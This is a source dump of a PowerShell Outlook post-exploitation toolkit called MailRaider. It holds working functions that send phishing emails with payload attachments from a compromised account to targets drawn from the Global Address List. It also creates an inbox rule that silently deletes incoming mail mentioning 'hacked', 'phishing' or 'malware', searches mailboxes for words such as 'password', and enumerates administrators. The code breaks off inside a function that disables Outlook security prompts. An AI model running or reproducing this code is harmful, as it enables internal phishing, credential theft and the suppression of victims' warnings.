├── .gitattributes ├── EmailRaider.ps1 ├── MailRaider.ps1 ├── README.md └── template.html /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /EmailRaider.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | <# 4 | 5 | 6 | MailRaider v0.1 7 | 8 | by @xorrior 9 | 10 | #> 11 | 12 | Function Invoke-SendMail { 13 | <# 14 | .SYNOPSIS 15 | This function sends emails using a custom or default template to specified target email addresses. 16 | 17 | .DESCRIPTION 18 | This function sends a specified number of phishing emails to a specific email address or a target list. A payload or URL can be included in the email. The E-Mail will be constructed based on a 19 | template or by specifying the Subject and Body of the email. 20 | 21 | .PARAMETER Targets 22 | Array of target email addresses. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List. 23 | 24 | .PARAMETER TargetList 25 | List of email addresses read from a file. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List. 26 | 27 | .PARAMETER URL 28 | URL to include in the email 29 | 30 | .PARAMETER Attachment 31 | Full path to the file to use as a payload 32 | 33 | .PARAMETER Template 34 | Full path to the template html file 35 | 36 | .PARAMETER Subject 37 | Subject of the email 38 | 39 | .PARAMETER Body 40 | Body of the email 41 | 42 | .EXAMPLE 43 | 44 | Invoke-SendMail -Targets $Emails -URL "http://bigorg.com/projections.xls" -Subject "Hi" -Body "Please check this link out!" 45 | 46 | Send phishing email to the array of target email addresses with an embedded url. 47 | 48 | .EXAMPLE 49 | 50 | Invoke-SendMail -TargetList .\Targets.txt -Attachment .\Notice.rtf -Template .\Phish.html 51 | 52 | Send phishing email to the list of addresses from file and include the specified attachment. 53 | 54 | #> 55 | 56 | [CmdletBinding()] 57 | param( 58 | [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)] 59 | [string[]]$Targets, 60 | 61 | [Parameter(Mandatory = $False, Position = 1)] 62 | [string]$TargetList, 63 | 64 | [Parameter(Mandatory = $False, Position = 2)] 65 | [string]$URL, 66 | 67 | [Parameter(Mandatory = $False, Position = 3)] 68 | [string]$Attachment, 69 | 70 | [Parameter(Mandatory = $False, Position = 4)] 71 | [String]$Template, 72 | 73 | [Parameter(Mandatory = $False, Position = 5)] 74 | [string]$Subject, 75 | 76 | [Parameter(Mandatory = $False, Position = 6)] 77 | [String]$Body 78 | 79 | ) 80 | 81 | 82 | 83 | #check for a target list file or the targets parameter 84 | if($TargetList){ 85 | if(!(Test-Path $TargetList)){ 86 | Throw "Not a valid file path for E-Mail TargetList" 87 | } 88 | $TargetEmails = Get-Content $TargetList 89 | } 90 | elseif($Targets){ 91 | $TargetEmails = $Targets 92 | } 93 | 94 | #check if a template is being used 95 | if($Template){ 96 | if(!(Test-Path $Template)){ 97 | Throw "Not a valid file path for E-mail template" 98 | } 99 | $EmailBody = Get-Content -Path $Template 100 | $EmailSubject = $Subject 101 | } 102 | elseif($Subject -and $Body){ 103 | $EmailSubject = $Subject 104 | $EmailBody = $Body 105 | } 106 | else { 107 | Throw "No email Subject and/or Body specified" 108 | } 109 | 110 | #Check for a url to embed 111 | if($URL){ 112 | $EmailBody = $EmailBody.Replace("URL",$URL) 113 | } 114 | 115 | #Read the Outlook signature locally if available 116 | $appdatapath = $env:appdata 117 | $sigpath = $appdatapath + "\Microsoft\Signatures\*.htm" 118 | 119 | if(Test-Path $sigpath){ 120 | $Signature = Get-Content -Path $sigpath 121 | } 122 | 123 | 124 | 125 | #Create Outlook rule to automatically sends emails pertaining to phishing emails to deleted items folder 126 | Invoke-Rule -Subject $Subject -RuleName "RaiderIn" 127 | 128 | #Iterate through the list, craft the emails, and then send it off. 129 | ForEach($Target in $TargetEmails){ 130 | 131 | $Outlook = Get-OutlookInstance 132 | $Email = $Outlook.CreateItem(0) 133 | #If there was an attachment, include it with the email 134 | if($Attachment){ 135 | $($Email.Attachment).Add($Attachment) 136 | } 137 | $Email.HTMLBody = "$EmailBody" 138 | $Email.Subject = $EmailSubject 139 | $Email.To = $Target 140 | 141 | #if there is a signature, add it to the email 142 | if($Signature){ 143 | $Email.HTMLBody += "`n`n" + "$Signature" 144 | } 145 | $Email.Send() 146 | Write-Verbose "Sent Email to $Target" 147 | 148 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 149 | } 150 | 151 | 152 | 153 | } 154 | 155 | 156 | Function Invoke-Rule { 157 | 158 | <# 159 | .SYNOPSIS 160 | This function enables an Outlook rule where all received mail items, that match the specified subject flags, will be sent to the deleted items folder 161 | 162 | .DESCRIPTION 163 | This function takes the subject string and other flagged words and applies them to a received items Outlook rule. Any items that match this rule will be 164 | sent to the deleted items folder. This allows for the account to be used in phishing for a longer period of time without detection. 165 | 166 | .PARAMETER Subject 167 | The subject string to use in the rule 168 | 169 | .LINK 170 | 171 | https://social.technet.microsoft.com/forums/windowsserver/en-US/6b25cbd2-2bff-4820-ab53-796e306066eb/defining-custom-outlook-rules-using-powershell 172 | #> 173 | 174 | [CmdletBinding()] 175 | param( 176 | [Parameter(Mandatory = $False, Position = 0)] 177 | [string]$Subject, 178 | 179 | [Parameter(Mandatory = $False, Position = 1)] 180 | [string]$RuleName, 181 | 182 | [Parameter(Mandatory = $False, Position = 2)] 183 | [System.__ComObject]$Outlook, 184 | 185 | [Parameter(Mandatory = $False)] 186 | [switch]$Disable 187 | ) 188 | 189 | $flags = @() 190 | $flags = $Subject.Split(" ") 191 | $flags += "hacked" 192 | $flags += "malware" 193 | $flags += "phishing" 194 | $flags += "virus" 195 | 196 | If(!($Outlook)){ 197 | 198 | $Outlook = Get-OutlookInstance 199 | $MAPI = $Outlook.GetNamespace('MAPI') 200 | 201 | } 202 | 203 | if($Disable){ 204 | $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {$_.Name -eq $RuleName} 205 | $rule.enabled = $False 206 | } 207 | else{ 208 | 209 | #Check if the Rule has already been created 210 | $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {(!(Compare-Object $($_.Conditions.Subject).Text $flags))} 211 | if(!($rule)){ 212 | #Load the assembly for Outlook objects 213 | Add-Type -AssemblyName Microsoft.Office.Interop.Outlook | Out-Null 214 | #$MAPI = $Outlook.GetNamespace('MAPI') 215 | $inbox = Get-OutlookFolder -Name "Inbox" 216 | $DeletedFolder = Get-OutlookFolder -Name "DeletedItems" 217 | #Retrieve all Outlook rules 218 | $rules = $MAPI.DefaultStore.GetRules() 219 | $rule = $rules.create($RuleName, [Microsoft.Office.Interop.Outlook.OlRuleType]::OlRuleReceive) 220 | 221 | $SubText = $rule.Conditions.Subject 222 | $SubText.Enabled = $true 223 | #Set the matching strings in the email subject to our flags array 224 | $SubText.Text = $flags 225 | $action = $rule.Actions.MoveToFolder 226 | $action.enabled = $true 227 | [Microsoft.Office.Interop.Outlook._MoveOrCopyRuleAction].InvokeMember( 228 | "Folder", 229 | [System.Reflection.BindingFlags]::SetProperty, 230 | $null, 231 | $action, 232 | $DeletedFolder) 233 | #Save and enable the rule 234 | try { 235 | $rules.Save() 236 | Write-Verbose "Saved Outlook Rule with name: $Rulename" 237 | } 238 | catch { 239 | Write-Warning "Unable to save inbound rule with name: $RuleName" 240 | } 241 | } 242 | 243 | } 244 | 245 | 246 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 247 | 248 | 249 | } 250 | 251 | Function Get-OSVersion { 252 | 253 | <# 254 | .SYNOPSIS 255 | Determines the Operating System version of the host 256 | 257 | .Example 258 | Check-OSVersion 259 | 260 | #> 261 | 262 | #Function to grab the major and minor verions to determine the OS. 263 | Write-Verbose "Detecting OS..." 264 | $OS = [environment]::OSVersion.Version 265 | 266 | 267 | if($OS.Major -eq 10){ 268 | $OSVersion = "Windows 10" 269 | } 270 | 271 | #if the major version is 6, the OS can be from Vista to Windows 8.1 272 | if($OS.Major -eq 6){ 273 | switch ($OS.Minor){ 274 | 3 {$OSVersion = "Windows 8.1/Server 2012 R2"} 275 | 2 {$OSVersion = "Windows 8/Server 2012"} 276 | 1 {$OSVersion = "Windows 7/Server 2008 R2"} 277 | 0 {$OSVersion = "Windows Vista/Server 2008"} 278 | } 279 | } 280 | if($OS.Major -eq 5){ 281 | switch ($OS.Minor){ 282 | 2 {$OSVersion = "Windows XP/Server 2003 R2"} 283 | 1 {$OSVersion = "Windows XP"} 284 | 0 {$OSVersion = "Windows 2000"} 285 | 286 | } 287 | } 288 | 289 | Write-Verbose "Checking the bitness of the OS" 290 | if((Get-WmiObject -class win32_operatingsystem).OSArchitecture -eq "64-bit"){ 291 | $OSArch = 64 292 | } 293 | else{ 294 | $OSArch = 32 295 | } 296 | $OSVersion 297 | $OSArch 298 | } 299 | 300 | Function Select-EmailItem{ 301 | <# 302 | .SYNOPSIS 303 | This function selects an Email Item according to an index and displays it 304 | 305 | .PARAMETER Index 306 | The index of the Email item to display. Defaults to 0. 307 | 308 | .EXAMPLE 309 | 310 | Select-EmailItem -Index 5 311 | 312 | Display Email Item 5 in the current folder. 313 | 314 | #> 315 | 316 | [CmdletBinding()] 317 | param( 318 | [Parameter(Mandatory = $False, ValueFromPipeline = $True)] 319 | [System.__ComObject]$FolderObj, 320 | 321 | [Parameter(Mandatory = $True)] 322 | [int]$Num 323 | ) 324 | 325 | $EmailItem = $FolderObj.Items | Select-Object -Index $Num 326 | 327 | $EmailItem | Select-Object To,SenderName,SenderEmailAddress,Subject,Body,SentOn,ReceivedTime 328 | 329 | } 330 | 331 | 332 | Function View-Email { 333 | <# 334 | .SYNOPSIS 335 | This function selects the specified folder and then outputs the email item at the specified index 336 | 337 | .PARAMETER FolderName 338 | The Name of the Outlook Default Folder. 339 | 340 | .PARAMETER Index 341 | Index of the Email item within the selected folder to display. The index default is 0. 342 | 343 | .EXAMPLE 344 | 345 | View-Email -FolderName "Inbox" 346 | 347 | Select the olFolderInbox folder and view the first email. 348 | 349 | #> 350 | 351 | [CmdletBinding()] 352 | param( 353 | [Parameter(Mandatory = $True, Position = 0)] 354 | [string]$FolderName, 355 | 356 | [Parameter(Mandatory = $False, Position = 1)] 357 | [int]$Index = 0 358 | ) 359 | 360 | 361 | $OF = Get-OutlookFolder -Name $FolderName 362 | Select-EmailItem -FolderObj $OF -Num $Index 363 | } 364 | 365 | Function Get-OutlookFolder{ 366 | <# 367 | .SYNOPSIS 368 | This functions returns one of the Outlook top-level, default folders 369 | 370 | .PARAMETER Name 371 | Name of the desired folder. Default name is Inbox. 372 | 373 | .EXAMPLE 374 | Get-OutlookFolder -Name "Inbox" 375 | 376 | #> 377 | 378 | [CmdletBinding()] 379 | param( 380 | [Parameter(Mandatory = $True, Position = 0)] 381 | [String]$Name 382 | ) 383 | 384 | $OlDefaultFolders = @{ 385 | "olFolderCalendar" = 9 386 | "olFolderConflicts" = 19 387 | "olFolderContacts" = 10 388 | "olFolderDeletedItems" = 3 389 | "olFolderDrafts" = 16 390 | "olFolderInbox" = 6 391 | "olFolderJournal" = 11 392 | "olFolderJunk" = 23 393 | "olFolderLocalFailures" = 21 394 | "olFolderManageEmail" = 29 395 | "olFolderNotes" = 12 396 | "olFolderOutbox" = 4 397 | "olFolderSentMail" = 5 398 | "olFolderServerFailures" = 22 399 | "olFolderSuggestedContacts" = 30 400 | "olFolderSyncIssues" = 20 401 | "olFolderTasks" = 13 402 | "olFolderToDo" = 28 403 | "olPublicFoldersAllPublicFolders" = 18 404 | "olFolderRssFeeds" = 25 405 | } 406 | 407 | 408 | 409 | $DefaultFolderName = "olFolder$Name" 410 | 411 | $Value = $OlDefaultFolders.Item($DefaultFolderName) 412 | 413 | $Outlook = Get-OutlookInstance 414 | 415 | $MAPI = $Outlook.GetNamespace('MAPI') 416 | 417 | $FolderObj = $MAPI.GetDefaultFolder($Value) 418 | 419 | Write-Verbose "Obtained Folder Object" 420 | 421 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 422 | 423 | $FolderObj 424 | 425 | } 426 | 427 | Function Get-EmailItems{ 428 | <# 429 | .SYNOPSIS 430 | This function returns all of the items for the specified folder 431 | 432 | .PARAMETER Folder 433 | System.__ComObject for the Top Level folder 434 | 435 | .PARAMETER MaxEmails 436 | Maximum number of emails to grab 437 | 438 | .PARAMETER Full 439 | Return the Full mail item object 440 | 441 | .EXAMPLE 442 | Get-EmailItems -Folder $Inbox 443 | 444 | #> 445 | 446 | [CmdletBinding()] 447 | param( 448 | [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] 449 | [System.__ComObject]$Folder, 450 | 451 | [Parameter(Mandatory = $False, Position = 1)] 452 | [int]$MaxEmails, 453 | 454 | [Parameter(Mandatory = $False)] 455 | [switch]$FullObject 456 | ) 457 | 458 | 459 | if($MaxEmails){ 460 | Write-Verbose "Selecting the first $MaxEmails emails" 461 | $Items = $Folder.Items | Select-Object -First $MaxEmails 462 | } 463 | else{ 464 | Write-Verbose "Selecting all emails" 465 | $Items = $Folder.Items 466 | } 467 | 468 | if(!($FullObject)){ 469 | $Emails = @() 470 | Write-Verbose "Creating custom Email item objects..." 471 | $Items | ForEach { 472 | 473 | $Email = New-Object PSObject -Property @{ 474 | To = $_.To 475 | FromName = $_.SenderName 476 | FromAddress = $_.SenderEmailAddress 477 | Subject = $_.Subject 478 | Body = $_.Body 479 | TimeSent = $_.SentOn 480 | TimeReceived = $_.ReceivedTime 481 | 482 | } 483 | 484 | $Emails += $Email 485 | 486 | 487 | } 488 | } 489 | else{ 490 | Write-Verbose "Obtained full Email Item objects...." 491 | $Emails = $Items 492 | } 493 | 494 | 495 | $Emails 496 | 497 | 498 | } 499 | 500 | Function Invoke-MailSearch{ 501 | 502 | <# 503 | .SYNOPSIS 504 | This function searches the given Outlook folder for items (Emails, Contacts, Tasks, Notes, etc. *Depending on the folder*) and returns 505 | any matches found. 506 | 507 | .DESCRIPTION 508 | This function searches the given Outlook folder for items containing the specified keywords and returns any matches found. 509 | 510 | .PARAMETER DefaultFolder 511 | Folder to search in. Default is the Inbox. 512 | 513 | .PARAMETER Keywords 514 | Keyword/s to search for. 515 | 516 | .PARAMETER MaxResults 517 | Maximum number of results to return. 518 | 519 | .PARAMETER MaxSearch 520 | Maximum number of emails to search through 521 | 522 | .PARAMETER MaxThreads 523 | Maximum number of threads to use when searching 524 | 525 | .PARAMETER File 526 | Path to results file 527 | 528 | .EXAMPLE 529 | Invoke-MailSearch -Keyword "password" -MaxResults 20 -MaxThreads 30 530 | 531 | Conduct a search on the Inbox with admin and password specified as keywords. Return a maximum of 20 results. 532 | 533 | #> 534 | 535 | [CmdletBinding()] 536 | param( 537 | [Parameter(Mandatory = $True)] 538 | [string]$DefaultFolder, 539 | 540 | [Parameter(Mandatory = $True)] 541 | [string[]]$Keywords, 542 | 543 | [Parameter(Mandatory = $False)] 544 | [int]$MaxResults, 545 | 546 | [Parameter(Mandatory = $True)] 547 | [int]$MaxThreads = 15, 548 | 549 | [Parameter(Mandatory = $False)] 550 | [int]$MaxSearch, 551 | 552 | [Parameter(Mandatory = $False)] 553 | [string]$File 554 | ) 555 | 556 | #Variable to hold the results 557 | $ResultsList = @() 558 | 559 | 560 | $SearchEmailBlock = { 561 | 562 | param($Regex, $MailItem) 563 | $Subject = $MailItem.Subject 564 | $Body = $MailItem.Body 565 | 566 | if(($Subject -Match $Regex) -or ($Body -Match $Regex)){ 567 | $MailItem 568 | } 569 | } 570 | 571 | 572 | $OF = Get-OutlookFolder -Name $DefaultFolder 573 | 574 | if($MaxSearch){ 575 | $Emails = Get-EmailItems -Folder $OF -FullObject -MaxEmails $MaxSearch 576 | } 577 | else { 578 | $Emails = Get-EmailItems -Folder $OF -FullObject 579 | } 580 | 581 | #Create regex for keywords 582 | if($Keywords.Count -gt 1){ 583 | $count = $Keywords.Count - 2 584 | for($i = 0; $i -lt $count; $i++){ 585 | $Keywords[$i] += "|" 586 | } 587 | 588 | [string]$Keywords = $Keywords -join '' 589 | $Keywords = "\b($Keywords)\b" 590 | 591 | } 592 | else { 593 | $Keywords = "\b($Keywords)\b" 594 | } 595 | 596 | $Regex = $Keywords 597 | 598 | 599 | Write-Verbose "[*] Searching through $($Emails.count) emails....." 600 | 601 | 602 | #All of this multithreading magic is taken directly from harmj0y and his child, powerview 603 | #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672 604 | $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() 605 | $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() 606 | 607 | #Get all the current variables for this runspace 608 | $MyVars = Get-Variable -Scope 1 609 | 610 | $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") 611 | 612 | #Add the variables from the current runspace to the new runspace 613 | ForEach($Var in $MyVars){ 614 | if($VorbiddenVars -notcontains $Var.Name){ 615 | $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) 616 | } 617 | } 618 | 619 | 620 | Write-Verbose "Creating RunSpace Pool" 621 | $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) 622 | $pool.Open() 623 | 624 | $jobs = @() 625 | $ps = @() 626 | $wait = @() 627 | 628 | $counter = 0 629 | $MsgCount = 1 630 | 631 | ForEach($Msg in $Emails){ 632 | 633 | Write-Verbose "Searching Email # $MsgCount/$($Emails.count)" 634 | 635 | while ($($pool.GetAvailableRunSpaces()) -le 0){ 636 | 637 | Start-Sleep -Milliseconds 500 638 | 639 | } 640 | 641 | $ps += [powershell]::create() 642 | 643 | $ps[$counter].runspacepool = $pool 644 | 645 | [void]$ps[$counter].AddScript($SearchEmailBlock).AddParameter('Regex', $Regex).AddParameter('MailItem', $Msg) 646 | 647 | $jobs += $ps[$counter].BeginInvoke(); 648 | 649 | $wait += $jobs[$counter].AsyncWaitHandle 650 | 651 | $counter = $counter + 1 652 | $MsgCount = $MsgCount + 1 653 | 654 | } 655 | 656 | $waitTimeout = Get-Date 657 | 658 | while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { 659 | Start-Sleep -Milliseconds 500 660 | } 661 | 662 | for ($x = 0; $x -lt $counter; $x++){ 663 | 664 | try { 665 | 666 | $result = $ps[$x].EndInvoke($jobs[$x]) 667 | if($result){ 668 | $ResultsList += $result 669 | } 670 | 671 | } 672 | catch { 673 | Write-Warning "error: $_" 674 | } 675 | 676 | finally { 677 | 678 | $ps[$x].Dispose() 679 | } 680 | } 681 | 682 | $pool.Dispose() 683 | 684 | 685 | 686 | If($MaxResults){ 687 | $ResultsList = $ResultsList | Select-Object -First $MaxResults 688 | } 689 | 690 | If($File){ 691 | 692 | $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body | Out-File $File 693 | 694 | } 695 | else { 696 | $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body 697 | 698 | } 699 | 700 | } 701 | 702 | Function Get-SubFolders{ 703 | <# 704 | .SYNOPSIS 705 | This function returns a list of all the folders in the specified top level folder. 706 | 707 | .PARAMETER DefaultFolder 708 | Name of the top-level folder to retrieve a list of folders from. 709 | 710 | .PARAMETER FullObject 711 | Return the full folder object instead of just the name 712 | 713 | .EXAMPLE 714 | Get-SubFolders -FolderName "SentMail" 715 | 716 | Get a list of folders and sub-folders from the sentmail box. 717 | #> 718 | 719 | 720 | [CmdletBinding()] 721 | param( 722 | [parameter(Mandatory = $False, Position = 0)] 723 | [string]$DefaultFolder, 724 | 725 | [parameter(Mandatory = $False)] 726 | [switch]$FullObject 727 | ) 728 | 729 | $SubFolders = (Get-OutlookFolder -Name $DefaultFolder).Folders 730 | 731 | If(!($SubFolders)){ 732 | Throw "No subfolders were found for folder: $($Folder.Name)" 733 | } 734 | 735 | if(!($FullObject)){ 736 | $SubFolders = $SubFolders | ForEach {$_.Name} 737 | } 738 | 739 | $SubFolders 740 | 741 | } 742 | 743 | Function Get-GlobalAddressList{ 744 | <# 745 | .SYNOPSIS 746 | This function returns an array of Contact objects from a Global Address List object. 747 | 748 | .PARAMETER Outlook 749 | The MAPI namespace object for Outlook 750 | 751 | .EXAMPLE 752 | 753 | Get-GlobalAddressList -MAPI $MAPI 754 | 755 | Return the GAL for the MAPI namespace 756 | 757 | #> 758 | 759 | [CmdletBinding()] 760 | param( 761 | [Parameter(Mandatory = $False)] 762 | [System.__ComObject]$MAPI 763 | ) 764 | 765 | if(!($MAPI)){ 766 | 767 | $Outlook = Get-OutlookInstance 768 | $MAPI = $Outlook.GetNamespace('MAPI') 769 | } 770 | 771 | $GAL = $MAPI.GetGlobalAddressList() 772 | 773 | $GAL = $GAL.AddressEntries 774 | 775 | $GAL 776 | } 777 | 778 | Function Invoke-SearchGAL { 779 | 780 | <# 781 | .SYNOPSIS 782 | This function returns any users that match the exchange criteria specified. 783 | 784 | .DESCRIPTION 785 | This fuction returns any exchange users that match the specified search criteria. Searchable fields are FirstName, LastName, JobTitle, Email-Address, and Department 786 | 787 | .PARAMETER FullName 788 | Full Name to search for 789 | 790 | .PARAMETER JobTitle 791 | Job Title to search for 792 | 793 | .PARAMETER Email 794 | E-Mail Address to search for 795 | 796 | .PARAMETER Dept 797 | Department to search for 798 | 799 | .PARAMETER MaxThreads 800 | The maximum number of threads to use when searching. The default is set to 15. 801 | 802 | .EXAMPLE 803 | 804 | Invoke-SearchGAL -JobTitle "System Administrator" -MaxThreads 30 805 | 806 | Search the GAL with 30 threads, for any Exchange Users with the JobTitle "System Administrator". 807 | 808 | 809 | #> 810 | 811 | [CmdletBinding()] 812 | param( 813 | [Parameter(Mandatory = $True, ParameterSetName = "Name", Position = 0)] 814 | [string]$FullName, 815 | 816 | [Parameter(Mandatory = $True, ParameterSetName = "JobTitle", Position = 1)] 817 | [string]$JobTitle, 818 | 819 | [Parameter(Mandatory = $True, ParameterSetName = "Email", Position = 2)] 820 | [string]$Email, 821 | 822 | [Parameter(Mandatory = $True, ParameterSetName = "Department", Position = 3)] 823 | [string]$Dept, 824 | 825 | [Parameter(Mandatory = $False, Position = 4)] 826 | [int]$MaxThreads = 15 827 | ) 828 | 829 | 830 | $Outlook = Get-OutlookInstance 831 | 832 | $MAPI = $Outlook.GetNamespace("MAPI") 833 | 834 | $GAL = Get-GlobalAddressList -MAPI $MAPI 835 | 836 | $UserList = @() 837 | 838 | ForEach($Entry in $GAL){ 839 | $UserList += $Entry.GetExchangeUser() 840 | } 841 | 842 | $GAL = $UserList 843 | 844 | #$User = $GAL | Where-Object {($($_.GetExchangeUser()).FirstName -eq $FirstName) -and ($($_.GetExchangeUser()).LastName -eq $LastName)} 845 | 846 | $SearchScript = { 847 | param($Regex,$Type,$User) 848 | 849 | if($Regex.Match($($User.$Type)).Success){ 850 | $User 851 | } 852 | } 853 | 854 | 855 | if($PSCmdlet.ParameterSetName -eq "Name"){ 856 | $Type = "Name" 857 | $Term = $FullName 858 | } 859 | elseif($PSCmdlet.ParameterSetName -eq "JobTitle"){ 860 | $Type = "JobTitle" 861 | $Term = $JobTitle 862 | } 863 | elseif($PSCmdlet.ParameterSetName -eq "Email"){ 864 | $Type = "PrimarySMTPAddress" 865 | $Term = $Email 866 | } 867 | else { 868 | $Type = "Department" 869 | $Term = $Dept 870 | } 871 | 872 | $Regex = [regex]"\b($Term)\b" 873 | #All of this multithreading magic is taken directly from harmj0y and his child, powerview 874 | #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672 875 | $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() 876 | $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() 877 | 878 | #Get all the current variables for this runspace 879 | $MyVars = Get-Variable -Scope 1 880 | 881 | $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") 882 | 883 | #Add the variables from the current runspace to the new runspace 884 | ForEach($Var in $MyVars){ 885 | if($VorbiddenVars -notcontains $Var.Name){ 886 | $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) 887 | } 888 | } 889 | 890 | 891 | Write-Verbose "Creating RunSpace Pool" 892 | $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) 893 | $pool.Open() 894 | 895 | $jobs = @() 896 | $ps = @() 897 | $wait = @() 898 | 899 | $counter = 0 900 | $AddressCount = 1 901 | 902 | Write-Verbose "The SearchString is $Term" 903 | 904 | ForEach($User in $GAL){ 905 | 906 | Write-Verbose "Searching the through ($AddressCount/$($GAL.Count) address entries...." 907 | 908 | while ($($pool.GetAvailableRunSpaces()) -le 0){ 909 | 910 | Start-Sleep -Milliseconds 500 911 | 912 | } 913 | 914 | $ps += [powershell]::create() 915 | 916 | $ps[$counter].runspacepool = $pool 917 | #Write-Verbose "Adding $SearchScript" 918 | [void]$ps[$counter].AddScript($SearchScript).AddParameter('Regex', $Regex).AddParameter('Type',$Type).AddParameter('User', $User) 919 | 920 | $jobs += $ps[$counter].BeginInvoke(); 921 | 922 | $wait += $jobs[$counter].AsyncWaitHandle 923 | 924 | $counter = $counter + 1 925 | $AddressCount = $AddressCount + 1 926 | 927 | } 928 | 929 | $waitTimeout = Get-Date 930 | 931 | while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { 932 | Start-Sleep -Milliseconds 500 933 | } 934 | 935 | for ($x = 0; $x -lt $counter; $x++){ 936 | 937 | try { 938 | 939 | $result = $ps[$x].EndInvoke($jobs[$x]) 940 | if($result){ 941 | $ResultsList += $result 942 | } 943 | 944 | } 945 | catch { 946 | Write-Warning "error: $_" 947 | } 948 | 949 | finally { 950 | 951 | $ps[$x].Dispose() 952 | } 953 | } 954 | 955 | $pool.Dispose() 956 | 957 | $ResultsList 958 | 959 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 960 | 961 | 962 | } 963 | 964 | Function Get-SMTPAddress{ 965 | <# 966 | .SYNOPSIS 967 | Gets the PrimarySMTPAddress of a user. 968 | 969 | .DESCRIPTION 970 | This function returns the PrimarySMTPAddress of a user via the ExchangeUser object. 971 | 972 | .PARAMETER FullName 973 | First and Last name of the user separated by a space. 974 | 975 | .OUTPUTS 976 | System.String . Primary email address of the user. 977 | 978 | #> 979 | 980 | [CmdletBinding()] 981 | Param( 982 | [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)] 983 | [string[]]$FullNames 984 | ) 985 | 986 | $Outlook = Get-OutlookInstance 987 | $MAPI = $Outlook.GetNamespace('MAPI') 988 | #Grab the GAL 989 | $GAL = Get-GlobalAddressList -MAPI $MAPI 990 | 991 | #If the full name is given, try to obtain the exchange user object 992 | 993 | $PrimarySMTPAddresses = @() 994 | If($FullNames){ 995 | ForEach($Name in $FullNames){ 996 | try{ 997 | $regex = [regex]"\b($Name)\b" 998 | $User = $GAL | Where-Object {$_.Name -Match $regex} 999 | } 1000 | catch { 1001 | Write-Warning "Unable to obtain exchange user object with the name: $Name" 1002 | } 1003 | $PrimarySMTPAddresses += $($User.GetExchangeuser()).PrimarySMTPAddress 1004 | } 1005 | } 1006 | else { 1007 | try { 1008 | $($($($Outlook.Session).CurrentUser).AddressEntry).GetExchangeUser().PrimarySMTPAddress 1009 | } 1010 | catch { 1011 | Throw "Unable to obtain PrimarySMTPAddress for the current user" 1012 | } 1013 | } 1014 | 1015 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 1016 | 1017 | $PrimarySMTPAddresses 1018 | 1019 | } 1020 | 1021 | Function Disable-SecuritySettings{ 1022 | 1023 | <# 1024 | .SYNOPSIS 1025 | This function checks for the existence of the Outlook security registry keys ObjectModelGuard, PromptOOMSend, and AdminSecurityMode. If 1026 | the keys exist, overwrite with the appropriate values to disable to security prompt for programmatic access. 1027 | 1028 | .DESCRIPTION 1029 | This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode registry keys for Outlook security. This function must be 1030 | run in an administrative context in order to set the values for the registry keys. 1031 | 1032 | .PARAMETER Version 1033 | The version of microsoft outlook. This is pertinent to the location of the registry keys. 1034 | 1035 | .EXAMPLE 1036 | Disable-SecuritySettings -Version 15 1037 | 1038 | #> 1039 | 1040 | [CmdletBinding()] 1041 | param( 1042 | 